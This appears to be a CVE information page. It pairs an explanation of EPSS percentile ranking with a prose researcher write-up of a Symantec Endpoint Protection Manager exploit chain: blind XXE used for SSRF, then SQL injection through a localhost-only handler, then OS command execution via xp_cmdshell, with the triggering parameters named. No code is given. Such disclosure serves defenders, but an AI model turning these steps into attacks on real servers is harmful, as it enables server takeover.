The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The abuse of the XXE injection to force SEPM to exploit itself through a separate SQL injection flaw was particularly amusing. I suspect the majority of SEPM users will have it configured with the default embedded database, thereby making this a pretty reliable exploit. So basically what you are looking for with the XXE injection is a vulnerability that can be triggered in the ConsoleServlet. When a multipart http request is sent, the servlet will use a custom MultipartParser class to handle the individual multipart bodies. When a body is encountered that uses a Content-Type of text/xml, the Java DocumentBuilder class is used to parse the xml. Since Symantec did not disallow declared DTD processing, it is vulnerable to the XXE injection. This appears to be a blind XXE, so a better use of the vulnerability is use it for SSRF. That leads us to the SQL injection flaw. Symantec has an http request handler called ConfigServerHandler that is programmatically restricted to only handle requests that come from localhost. I guess when they wrote this they just assumed that there was never going to be a way to send untrusted input to it since it was always going to be controlled by them. I base this guess on the fact that there is absolutely no attempt made to validate what input comes in to the updateReportingVersion function which shoves it directly into a SQL query unfiltered. In order to trigger the SQL injection you just need to send the SQL injection string in the "Parameter" url param with the "action" param set to test_av. On a default install of SEPM, it uses a SQL Anywhere embedded database. Much like MSSQL, SQL Anywhere has an xp_cmdshell stored procedure to run local OS commands. Using this stored procedure, you can compromise the server that is running SEPM.
